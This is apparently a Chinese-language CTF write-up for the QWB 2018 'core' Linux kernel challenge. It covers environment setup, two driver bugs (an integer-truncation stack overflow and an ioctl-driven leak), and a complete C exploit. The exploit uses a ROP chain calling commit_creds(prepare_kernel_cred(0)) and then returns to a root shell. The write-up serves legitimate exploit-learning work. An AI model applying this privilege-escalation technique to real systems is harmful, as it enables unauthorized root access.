Lingze's blog Lingze's blog
timeline
about
friends
categories
tags

lingze

bin不是垃圾桶的意思!
timeline
about
friends
categories
tags
  • ctf_wp
  • qwb
lingze
2022-02-08
目录

qwb2018_core

# qwb 2018 core

  • 环境搭建
    • 基础
    • 修改init脚本
    • 调试
  • 漏洞
    • 整数截断-栈溢出
    • 数据泄漏
  • 利用

年轻人的第一个内核题目。

# 环境搭建

# 基础

解包:

# /bin/sh

mv core.cpio core/core.cpio.gz
cd core
gunzip core.cpio.gz
cpio -idm < core.cpio
rm core.cpio
1
2
3
4
5
6
7

重打包:

# /bin/sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > core.cpio

mv core.cpio ../core.cpio
1
2
3
4
5
6

注意修改启动脚本,内存给的大一点才能启动

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

1
2
3
4
5
6
7
8
9

# 修改init脚本

由于默认是chal权限,内核地址信息等看不到,所以还要修改脚本进入root进行调试。

修改这两个位置,第一个是取消定时关机,第二个是设置默认权限为root。

重新打包以后才生效。

# 调试

启动脚本里已经有了-s选项。于是可以直接使用gdb去连上去。

target remote :1234
1

在内核中我们使用 lsmod可以查看到模块加载地址,于是可以直接下断点, 进行调试。也可以使用符号, 通过以下指令载入符号即可。

add-symbol-file module_path base_address
1

因为基本是在驱动模块的漏洞利用,这样也差不多了。

# 漏洞

从文件中拖出来 core.ko文件,逆向, 可以看到通过ioctl如何操作。

# 整数截断-栈溢出

这个位置存在一个整数截断导致的栈溢出。

而name这个数据在这个位置, 我们可以通过write直接写入。

image.png

# 数据泄漏

这里可以向用户态写入数据,

image.png

通过ioctl可以直接修改这个off,

image.png

# 利用

利用也比较简单,

image.png

程序内有canary, 运行有kaslr, 于是我们要先泄漏canary、内核地址、驱动地址。

#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>

int fd;
typedef unsigned long long  uint64;

uint64 user_cs, user_ss, user_rsp, eflags;
void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        :"=r" (user_cs) , "=r"(user_ss), "=r"(user_rsp), "=r"(eflags)
        : 
        :"memory"
        );
}



void core_read(char * buf){
    ioctl(fd, 0x6677889B, buf);
}

void setoff(int off){
    ioctl(fd, 0x6677889C, off);
}
void copy_func(uint64 size){
    ioctl(fd, 0x6677889A, size);
}

void get_shell(){
    system("/bin/sh");
}


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL ;
void (*commit_creds)(void*) KERNCALL ;
void get_root(){
      commit_creds(prepare_kernel_cred(0));
}

int main(){
    save_stats();
    fd = open("/proc/core", O_RDWR);
    if (fd == -1){
        printf("open file error!\n");
        exit(-1);
    }else {
        printf("open file success!\n");
    }

    uint64 buf[0x40 / 8];
    memset(buf, 0, 0x40);
    setoff(0x40);
    core_read(buf);
    // off=0x40 -> canary
    // off=0x50 -> core_base
    uint64 canary = buf[0];
    uint64 core_base = buf[2] - 0x19b;
    uint64 vm_base = buf[4] - 0x1dd6d1;
    printf("[*] cancry: %p\n", canary);
    printf("[*] core_base: %p\n", core_base);
    printf("[*] vm_base: %p\n", vm_base);

    uint64 swapgs = core_base + 0x00000000000000D6;
    uint64 iretq  = vm_base + 0x50ac2;

    commit_creds = vm_base + 0x9c8e0;
    prepare_kernel_cred = vm_base + 0x9cce0;

    uint64 pop_rid = vm_base + 0xb2f;
    uint64 pop_rcx = vm_base + 0x21e53;
    uint64 mov_rdi_rax_jmp_rcx = vm_base + 0x1ae978;


    uint64 rop[0x100/8];
    memset(rop, 0, 0x40);
    int i = 8;
    rop[i++] = canary;
    rop[i++] = 0;
    // to root

// rop
//    rop[i++] = pop_rid;
//    rop[i++] = 0;
//    rop[i++] = prepare_kernel_cred;
//    rop[i++] = pop_rbp;
//    rop[i++] = commit_creds;
//    rop[i++] = mov_rdi_rax_jmp_rcx;
    rop[i++] = get_root;

    // reture to user
    rop[i++] = swapgs;
    rop[i++] = 0;
    rop[i++] = iretq;
    rop[i++] = (uint64)get_shell;
    rop[i++] = user_cs;
    rop[i++] = eflags;
    rop[i++] = user_rsp;
    rop[i++] = user_ss;

    write(fd, rop, 0x100 );
    copy_func(0x100 | 0xFFFFFFFFFFFF0000);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
上次更新: 6/24/2025, 5:07:55 AM
Theme by Vdoing | Copyright © 2019-2025 lingze | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式